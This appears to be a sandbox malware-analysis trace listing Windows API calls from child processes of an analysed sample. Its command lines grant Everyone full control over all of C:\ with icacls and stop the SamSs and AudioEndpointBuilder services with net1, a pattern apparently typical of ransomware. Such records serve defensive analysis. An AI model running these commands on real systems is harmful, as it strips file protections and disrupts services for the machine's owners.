	[0153.280] GetConsoleTitleW (in: lpConsoleTitle=0x1abad0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0153.280] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000
	[0153.280] GetProcAddress (hModule=0x76f20000, lpProcName="CopyFileExW") returned 0x76f323d0
	[0153.281] GetProcAddress (hModule=0x76f20000, lpProcName="IsDebuggerPresent") returned 0x76f28290
	[0153.281] GetProcAddress (hModule=0x76f20000, lpProcName="SetConsoleInputExeNameW") returned 0x76f317e0
	[0153.282] GetProcessHeap () returned 0x190000
	[0153.282] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x4012) returned 0x1acc50
	[0153.282] GetProcessHeap () returned 0x190000
	[0153.282] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1acc50 | out: hHeap=0x190000) returned 1
	[0153.282] GetConsoleTitleW (in: lpConsoleTitle=0x12f690, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0153.283] SetErrorMode (uMode=0x0) returned 0x8001
	[0153.283] SetErrorMode (uMode=0x1) returned 0x0
	[0153.283] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x191330, lpFilePart=0x12ef20 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x12ef20*="system32") returned 0x13
	[0153.283] SetErrorMode (uMode=0x8001) returned 0x1
	[0153.283] GetProcessHeap () returned 0x190000
	[0153.283] RtlReAllocateHeap (Heap=0x190000, Flags=0x0, Ptr=0x191320, Size=0x5a) returned 0x191320
	[0153.283] GetProcessHeap () returned 0x190000
	[0153.284] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x191320) returned 0x5a
	[0153.284] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0153.284] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0153.284] GetProcessHeap () returned 0x190000
	[0153.284] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x104) returned 0x1ac030
	[0153.284] GetProcessHeap () returned 0x190000
	[0153.284] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x1f8) returned 0x191390
	[0153.284] RtlReAllocateHeap (Heap=0x190000, Flags=0x0, Ptr=0x191390, Size=0x106) returned 0x191390
	[0153.284] GetProcessHeap () returned 0x190000
	[0153.284] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x191390) returned 0x106
	[0153.284] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0153.284] GetProcessHeap () returned 0x190000
	[0153.285] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0xe8) returned 0x1914b0
	[0153.285] RtlReAllocateHeap (Heap=0x190000, Flags=0x0, Ptr=0x1914b0, Size=0x7e) returned 0x1914b0
	[0153.285] GetProcessHeap () returned 0x190000
	[0153.285] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1914b0) returned 0x7e
	[0153.285] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0153.285] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bootstatuspolicy.*", fInfoLevelId=0x1, lpFindFileData=0x12ec90, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x12ec90) returned 0xffffffffffffffff
	[0153.286] GetLastError () returned 0x2
	[0153.286] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bootstatuspolicy", fInfoLevelId=0x1, lpFindFileData=0x12ec90, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x12ec90) returned 0xffffffffffffffff
	[0153.286] GetLastError () returned 0x2
	[0153.286] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0153.286] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bootstatuspolicy.*", fInfoLevelId=0x1, lpFindFileData=0x12ec90, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x12ec90) returned 0xffffffffffffffff
	[0153.287] GetLastError () returned 0x2
	[0153.287] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bootstatuspolicy", fInfoLevelId=0x1, lpFindFileData=0x12ec90, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x12ec90) returned 0xffffffffffffffff
	[0153.287] GetLastError () returned 0x2
	[0153.287] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0153.288] FindFirstFileExW (in: lpFileName="C:\\Windows\\bootstatuspolicy.*", fInfoLevelId=0x1, lpFindFileData=0x12ec90, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x12ec90) returned 0xffffffffffffffff
	[0153.288] GetLastError () returned 0x2
	[0153.288] FindFirstFileExW (in: lpFileName="C:\\Windows\\bootstatuspolicy", fInfoLevelId=0x1, lpFindFileData=0x12ec90, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x12ec90) returned 0xffffffffffffffff
	[0153.288] GetLastError () returned 0x2
	[0153.288] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0153.289] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\bootstatuspolicy.*", fInfoLevelId=0x1, lpFindFileData=0x12ec90, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x12ec90) returned 0xffffffffffffffff
	[0153.289] GetLastError () returned 0x2
	[0153.289] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\bootstatuspolicy", fInfoLevelId=0x1, lpFindFileData=0x12ec90, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x12ec90) returned 0xffffffffffffffff
	[0153.289] GetLastError () returned 0x2
	[0153.289] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0153.290] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\bootstatuspolicy.*", fInfoLevelId=0x1, lpFindFileData=0x12ec90, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x12ec90) returned 0xffffffffffffffff
	[0153.290] GetLastError () returned 0x2
	[0153.290] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\bootstatuspolicy", fInfoLevelId=0x1, lpFindFileData=0x12ec90, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x12ec90) returned 0xffffffffffffffff
	[0153.290] GetLastError () returned 0x2
	[0153.290] _get_osfhandle (_FileHandle=2) returned 0xb
	[0153.291] GetFileType (hFile=0xb) returned 0x2
	[0153.292] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb
	[0153.292] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x12f0e8 | out: lpMode=0x12f0e8) returned 1
	[0153.293] _get_osfhandle (_FileHandle=2) returned 0xb
	[0153.293] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb, lpConsoleScreenBufferInfo=0x12f120 | out: lpConsoleScreenBufferInfo=0x12f120) returned 1
	[0153.293] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x4a366340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d
	[0153.294] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x4a366340, nSize=0x2000, Arguments=0x12f190 | out: lpBuffer="'bootstatuspolicy' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x6b
	[0153.294] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x4a366340*, nNumberOfCharsToWrite=0x6b, lpNumberOfCharsWritten=0x12f110, lpReserved=0x0 | out: lpBuffer=0x4a366340*, lpNumberOfCharsWritten=0x12f110*=0x6b) returned 1
	[0153.296] _get_osfhandle (_FileHandle=1) returned 0x7
	[0153.296] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
	[0153.297] _get_osfhandle (_FileHandle=1) returned 0x7
	[0153.297] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a34e194 | out: lpMode=0x4a34e194) returned 1
	[0153.298] _get_osfhandle (_FileHandle=0) returned 0x3
	[0153.298] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a34e198 | out: lpMode=0x4a34e198) returned 1
	[0153.299] SetConsoleInputExeNameW () returned 0x1
	[0153.299] GetConsoleOutputCP () returned 0x1b5
	[0153.299] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a35bfe0 | out: lpCPInfo=0x4a35bfe0) returned 1
	[0153.299] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0153.300] exit (_Code=1) 

Process:
	id = "20"
	image_name = "icacls.exe"
	filename = "c:\\windows\\system32\\icacls.exe"
	page_root = "0x30ea1000"
	os_pid = "0xbb0"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "5"
	os_parent_pid = "0x434"
	cmd_line = "icacls \"C:\\*\" /grant Everyone:F /T /C /Q"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 121
	os_tid = 0xa9c


Thread:
	id = 134
	os_tid = 0x284


Thread:
	id = 652
	os_tid = 0x1228


Thread:
	id = 655
	os_tid = 0x1238


Process:
	id = "21"
	image_name = "net1.exe"
	filename = "c:\\windows\\system32\\net1.exe"
	page_root = "0x33913000"
	os_pid = "0xbc4"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "13"
	os_parent_pid = "0xa3c"
	cmd_line = "C:\\Windows\\system32\\net1 stop \"samss\" /y"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 123
	os_tid = 0x74c

	[0150.120] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1efeb0 | out: lpSystemTimeAsFileTime=0x1efeb0*(dwLowDateTime=0x3c8fda60, dwHighDateTime=0x1d5cdef)) 
	[0150.120] GetCurrentProcessId () returned 0xbc4
	[0150.120] GetCurrentThreadId () returned 0x74c
	[0150.120] GetTickCount () returned 0x1169b66
	[0150.121] QueryPerformanceCounter (in: lpPerformanceCount=0x1efeb8 | out: lpPerformanceCount=0x1efeb8*=29168065799) returned 1
	[0150.122] GetModuleHandleW (lpModuleName=0x0) returned 0xffe50000
	[0150.122] __set_app_type (_Type=0x1) 
	[0150.122] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffe69c9c) returned 0x0
	[0150.122] __getmainargs (in: _Argc=0xffe74780, _Argv=0xffe74790, _Env=0xffe74788, _DoWildCard=0, _StartInfo=0xffe7479c | out: _Argc=0xffe74780, _Argv=0xffe74790, _Env=0xffe74788) returned 0
	[0150.123] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0150.123] GetConsoleOutputCP () returned 0x1b5
	[0150.123] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xffe7cec0 | out: lpCPInfo=0xffe7cec0) returned 1
	[0150.124] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0150.132] sprintf_s (in: _DstBuf=0x1efe58, _DstSize=0xc, _Format=".%u" | out: _DstBuf=".437") returned 4
	[0150.132] setlocale (category=0, locale=".437") returned="English_United States.437"
	[0150.138] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0150.138] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb
	[0150.138] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0150.140] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1efbf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\net1.exe" (normalized: "c:\\windows\\system32\\net1.exe")) returned 0x1c
	[0150.140] RtlAllocateHeap (HeapHandle=0x60000, Flags=0x0, Size=0x6e) returned 0x7c060
	[0150.141] _wcsnicmp (_String1="/Y", _String2="/y", _MaxCount=0x2) returned 0
	[0150.141] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x1efe48 | out: Buffer=0x1efe48*=0x74d40) returned 0x0
	[0150.141] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x1efe48 | out: Buffer=0x1efe48*=0x7c0e0) returned 0x0
	[0150.141] _fileno (_File=0x7fefe122a80) returned 0
	[0150.141] _setmode (_FileHandle=0, _Mode=16384) returned 16384
	[0150.142] _wcsicmp (_String1="accounts", _String2="stop") returned -18
	[0150.142] _wcsicmp (_String1="computer", _String2="stop") returned -16
	[0150.142] _wcsicmp (_String1="config", _String2="stop") returned -16
	[0150.143] _wcsicmp (_String1="continue", _String2="stop") returned -16
	[0150.143] _wcsicmp (_String1="cont", _String2="stop") returned -16
	[0150.143] _wcsicmp (_String1="file", _String2="stop") returned -13
	[0150.143] _wcsicmp (_String1="files", _String2="stop") returned -13
	[0150.143] _wcsicmp (_String1="group", _String2="stop") returned -12
	[0150.143] _wcsicmp (_String1="groups", _String2="stop") returned -12
	[0150.143] _wcsicmp (_String1="help", _String2="stop") returned -11
	[0150.143] _wcsicmp (_String1="helpmsg", _String2="stop") returned -11
	[0150.143] _wcsicmp (_String1="localgroup", _String2="stop") returned -7
	[0150.143] _wcsicmp (_String1="pause", _String2="stop") returned -3
	[0150.143] _wcsicmp (_String1="session", _String2="stop") returned -15
	[0150.143] _wcsicmp (_String1="sessions", _String2="stop") returned -15
	[0150.144] _wcsicmp (_String1="sess", _String2="stop") returned -15
	[0150.144] _wcsicmp (_String1="share", _String2="stop") returned -12
	[0150.144] _wcsicmp (_String1="start", _String2="stop") returned -14
	[0150.144] _wcsicmp (_String1="stats", _String2="stop") returned -14
	[0150.144] _wcsicmp (_String1="statistics", _String2="stop") returned -14
	[0150.144] _wcsicmp (_String1="stop", _String2="stop") returned 0
	[0150.144] _wcsicmp (_String1="accounts", _String2="samss") returned -18
	[0150.144] _wcsicmp (_String1="computer", _String2="samss") returned -16
	[0150.145] _wcsicmp (_String1="config", _String2="samss") returned -16
	[0150.145] _wcsicmp (_String1="continue", _String2="samss") returned -16
	[0150.145] _wcsicmp (_String1="cont", _String2="samss") returned -16
	[0150.145] _wcsicmp (_String1="file", _String2="samss") returned -13
	[0150.145] _wcsicmp (_String1="files", _String2="samss") returned -13
	[0150.145] _wcsicmp (_String1="group", _String2="samss") returned -12
	[0150.145] _wcsicmp (_String1="groups", _String2="samss") returned -12
	[0150.145] _wcsicmp (_String1="help", _String2="samss") returned -11
	[0150.145] _wcsicmp (_String1="helpmsg", _String2="samss") returned -11
	[0150.145] _wcsicmp (_String1="localgroup", _String2="samss") returned -7
	[0150.145] _wcsicmp (_String1="pause", _String2="samss") returned -3
	[0150.145] _wcsicmp (_String1="session", _String2="samss") returned 4
	[0150.145] _wcsicmp (_String1="sessions", _String2="samss") returned 4
	[0150.145] _wcsicmp (_String1="sess", _String2="samss") returned 4
	[0150.146] _wcsicmp (_String1="share", _String2="samss") returned 7
	[0150.146] _wcsicmp (_String1="start", _String2="samss") returned 19
	[0150.146] _wcsicmp (_String1="stats", _String2="samss") returned 19
	[0150.146] _wcsicmp (_String1="statistics", _String2="samss") returned 19
	[0150.146] _wcsicmp (_String1="stop", _String2="samss") returned 19
	[0150.146] _wcsicmp (_String1="time", _String2="samss") returned 1
	[0150.146] _wcsicmp (_String1="user", _String2="samss") returned 2
	[0150.146] _wcsicmp (_String1="users", _String2="samss") returned 2
	[0150.146] _wcsicmp (_String1="msg", _String2="samss") returned -6
	[0150.146] _wcsicmp (_String1="messenger", _String2="samss") returned -6
	[0150.146] _wcsicmp (_String1="receiver", _String2="samss") returned -1
	[0150.147] _wcsicmp (_String1="rcv", _String2="samss") returned -1
	[0150.147] _wcsicmp (_String1="netpopup", _String2="samss") returned -5
	[0150.147] _wcsicmp (_String1="redirector", _String2="samss") returned -1
	[0150.147] _wcsicmp (_String1="redir", _String2="samss") returned -1
	[0150.147] _wcsicmp (_String1="rdr", _String2="samss") returned -1
	[0150.147] _wcsicmp (_String1="workstation", _String2="samss") returned 4
	[0150.147] _wcsicmp (_String1="work", _String2="samss") returned 4
	[0150.147] _wcsicmp (_String1="wksta", _String2="samss") returned 4
	[0150.147] _wcsicmp (_String1="prdr", _String2="samss") returned -3
	[0150.147] _wcsicmp (_String1="devrdr", _String2="samss") returned -15
	[0150.147] _wcsicmp (_String1="lanmanworkstation", _String2="samss") returned -7
	[0150.148] _wcsicmp (_String1="server", _String2="samss") returned 4
	[0150.148] _wcsicmp (_String1="svr", _String2="samss") returned 21
	[0150.148] _wcsicmp (_String1="srv", _String2="samss") returned 17
	[0150.148] _wcsicmp (_String1="lanmanserver", _String2="samss") returned -7
	[0150.148] _wcsicmp (_String1="alerter", _String2="samss") returned -18
	[0150.148] _wcsicmp (_String1="netlogon", _String2="samss") returned -5
	[0150.148] _wcsupr (in: _String="samss" | out: _String="SAMSS") returned="SAMSS"
	[0150.149] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x80000000) returned 0x7cdf0
	[0150.749] GetServiceKeyNameW (in: hSCManager=0x7cdf0, lpDisplayName="SAMSS", lpServiceName=0xffe75750, lpcchBuffer=0x1efd68 | out: lpServiceName="", lpcchBuffer=0x1efd68) returned 0
	[0150.756] _wcsicmp (_String1="msg", _String2="SAMSS") returned -6
	[0150.756] _wcsicmp (_String1="messenger", _String2="SAMSS") returned -6
	[0150.757] _wcsicmp (_String1="receiver", _String2="SAMSS") returned -1
	[0150.757] _wcsicmp (_String1="rcv", _String2="SAMSS") returned -1
	[0150.757] _wcsicmp (_String1="redirector", _String2="SAMSS") returned -1
	[0150.757] _wcsicmp (_String1="redir", _String2="SAMSS") returned -1
	[0150.757] _wcsicmp (_String1="rdr", _String2="SAMSS") returned -1
	[0150.757] _wcsicmp (_String1="workstation", _String2="SAMSS") returned 4
	[0150.757] _wcsicmp (_String1="work", _String2="SAMSS") returned 4
	[0150.757] _wcsicmp (_String1="wksta", _String2="SAMSS") returned 4
	[0150.757] _wcsicmp (_String1="prdr", _String2="SAMSS") returned -3
	[0150.757] _wcsicmp (_String1="devrdr", _String2="SAMSS") returned -15
	[0150.757] _wcsicmp (_String1="lanmanworkstation", _String2="SAMSS") returned -7
	[0150.757] _wcsicmp (_String1="server", _String2="SAMSS") returned 4
	[0150.757] _wcsicmp (_String1="svr", _String2="SAMSS") returned 21
	[0150.757] _wcsicmp (_String1="srv", _String2="SAMSS") returned 17
	[0150.757] _wcsicmp (_String1="lanmanserver", _String2="SAMSS") returned -7
	[0150.757] _wcsicmp (_String1="alerter", _String2="SAMSS") returned -18
	[0150.758] _wcsicmp (_String1="netlogon", _String2="SAMSS") returned -5
	[0151.060] NetServiceControl (in: servername=0x0, service="SAMSS", opcode=0x0, arg=0x0, bufptr=0x1efd70 | out: bufptr=0x1efd70) returned 0x0
	[0151.268] NetApiBufferAllocate (in: ByteCount=0xfa0, Buffer=0x1efd28 | out: Buffer=0x1efd28*=0x80c70) returned 0x0
	[0151.268] OpenServiceW (hSCManager=0x7cdf0, lpServiceName="SAMSS", dwDesiredAccess=0xc) returned 0x7ce50
	[0151.269] QueryServiceStatus (in: hService=0x7ce50, lpServiceStatus=0x1efcd0 | out: lpServiceStatus=0x1efcd0*(dwServiceType=0x20, dwCurrentState=0x4, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1
	[0151.270] NetApiBufferFree (Buffer=0x80c70) returned 0x0
	[0151.270] CloseServiceHandle (hSCObject=0x7ce50) returned 1
	[0151.271] wcscpy_s (in: _Destination=0xffe780d0, _SizeInWords=0x104, _Source="NETMSG" | out: _Destination="NETMSG") returned 0x0
	[0151.271] LoadLibraryW (lpLibFileName="NETMSG") returned 0x74580000
	[0151.274] FormatMessageW (in: dwFlags=0x2a00, lpSource=0x74580000, dwMessageId=0x88f, dwLanguageId=0x0, lpBuffer=0xffe75b50, nSize=0x800, Arguments=0xffe77f90 | out: lpBuffer="The requested pause, continue, or stop is not valid for this service.\r\n") returned 0x47
	[0151.663] GetFileType (hFile=0xb) returned 0x2
	[0151.665] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x1efbc8 | out: lpMode=0x1efbc8) returned 1
	[0151.666] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffe75b50*, nNumberOfCharsToWrite=0x47, lpNumberOfCharsWritten=0x1efbc0, lpReserved=0x0 | out: lpBuffer=0xffe75b50*, lpNumberOfCharsWritten=0x1efbc0*=0x47) returned 1
	[0151.668] GetFileType (hFile=0xb) returned 0x2
	[0151.669] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x1efbc8 | out: lpMode=0x1efbc8) returned 1
	[0151.670] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffe51efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1efbc0, lpReserved=0x0 | out: lpBuffer=0xffe51efc*, lpNumberOfCharsWritten=0x1efbc0*=0x2) returned 1
	[0151.671] _ultow (in: _Dest=0x88f, _Radix=2030640 | out: _Dest=0x88f) returned="2191"
	[0151.671] FormatMessageW (in: dwFlags=0x2800, lpSource=0x74580000, dwMessageId=0xdba, dwLanguageId=0x0, lpBuffer=0xffe75b50, nSize=0x800, Arguments=0xffe77f90 | out: lpBuffer="More help is available by typing NET HELPMSG 2191.\r\n") returned 0x34
	[0151.672] GetFileType (hFile=0xb) returned 0x2
	[0151.673] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x1efbc8 | out: lpMode=0x1efbc8) returned 1
	[0151.674] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffe75b50*, nNumberOfCharsToWrite=0x34, lpNumberOfCharsWritten=0x1efbc0, lpReserved=0x0 | out: lpBuffer=0xffe75b50*, lpNumberOfCharsWritten=0x1efbc0*=0x34) returned 1
	[0151.675] GetFileType (hFile=0xb) returned 0x2
	[0151.676] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x1efbc8 | out: lpMode=0x1efbc8) returned 1
	[0151.676] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffe51efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1efbc0, lpReserved=0x0 | out: lpBuffer=0xffe51efc*, lpNumberOfCharsWritten=0x1efbc0*=0x2) returned 1
	[0151.678] NetApiBufferFree (Buffer=0x74d40) returned 0x0
	[0151.678] NetApiBufferFree (Buffer=0x7c0e0) returned 0x0
	[0151.678] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0151.678] exit (_Code=2) 

Process:
	id = "22"
	image_name = "net1.exe"
	filename = "c:\\windows\\system32\\net1.exe"
	page_root = "0x31383000"
	os_pid = "0xb70"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "11"
	os_parent_pid = "0x2ac"
	cmd_line = "C:\\Windows\\system32\\net1 stop \"audioendpointbuilder\" /y"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 124
	os_tid = 0x518

	[0150.113] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xafc90 | out: lpSystemTimeAsFileTime=0xafc90*(dwLowDateTime=0x3c8fda60, dwHighDateTime=0x1d5cdef)) 
	[0150.114] GetCurrentProcessId () returned 0xb70
	[0150.114] GetCurrentThreadId () returned 0x518
	[0150.114] GetTickCount () returned 0x1169b66
	[0150.114] QueryPerformanceCounter (in: lpPerformanceCount=0xafc98 | out: lpPerformanceCount=0xafc98*=29167396000) returned 1
	[0150.117] GetModuleHandleW (lpModuleName=0x0) returned 0xffe50000
	[0150.117] __set_app_type (_Type=0x1) 
	[0150.118] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffe69c9c) returned 0x0
	[0150.118] __getmainargs (in: _Argc=0xffe74780, _Argv=0xffe74790, _Env=0xffe74788, _DoWildCard=0, _StartInfo=0xffe7479c | out: _Argc=0xffe74780, _Argv=0xffe74790, _Env=0xffe74788) returned 0
	[0150.119] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0150.119] GetConsoleOutputCP () returned 0x1b5
	[0150.738] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xffe7cec0 | out: lpCPInfo=0xffe7cec0) returned 1
	[0150.738] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0150.985] sprintf_s (in: _DstBuf=0xafc38, _DstSize=0xc, _Format=".%u" | out: _DstBuf=".437") returned 4
	[0150.986] setlocale (category=0, locale=".437") returned="English_United States.437"
	[0150.991] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0150.991] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb
	[0150.991] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"audioendpointbuilder\" /y"
	[0150.992] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xaf9d0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\net1.exe" (normalized: "c:\\windows\\system32\\net1.exe")) returned 0x1c
	[0150.992] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8c) returned 0x23c090
	[0150.992] _wcsnicmp (_String1="/Y", _String2="/y", _MaxCount=0x2) returned 0
	[0150.992] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0xafc28 | out: Buffer=0xafc28*=0x234d60) returned 0x0
	[0150.992] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0xafc28 | out: Buffer=0xafc28*=0x23c130) returned 0x0
	[0150.992] _fileno (_File=0x7fefe122a80) returned 0
	[0150.993] _setmode (_FileHandle=0, _Mode=16384) returned 16384
	[0150.993] _wcsicmp (_String1="accounts", _String2="stop") returned -18
	[0150.993] _wcsicmp (_String1="computer", _String2="stop") returned -16
	[0150.994] _wcsicmp (_String1="config", _String2="stop") returned -16
	[0150.994] _wcsicmp (_String1="continue", _String2="stop") returned -16
	[0150.994] _wcsicmp (_String1="cont", _String2="stop") returned -16
	[0150.994] _wcsicmp (_String1="file", _String2="stop") returned -13
	[0150.994] _wcsicmp (_String1="files", _String2="stop") returned -13
	[0150.994] _wcsicmp (_String1="group", _String2="stop") returned -12
	[0150.994] _wcsicmp (_String1="groups", _String2="stop") returned -12
	[0150.994] _wcsicmp (_String1="help", _String2="stop") returned -11
	[0150.994] _wcsicmp (_String1="helpmsg", _String2="stop") returned -11
	[0150.994] _wcsicmp (_String1="localgroup", _String2="stop") returned -7
	[0150.994] _wcsicmp (_String1="pause", _String2="stop") returned -3
	[0150.994] _wcsicmp (_String1="session", _String2="stop") returned -15
	[0150.994] _wcsicmp (_String1="sessions", _String2="stop") returned -15
	[0150.994] _wcsicmp (_String1="sess", _String2="stop") returned -15
	[0150.994] _wcsicmp (_String1="share", _String2="stop") returned -12
	[0150.994] _wcsicmp (_String1="start", _String2="stop") returned -14
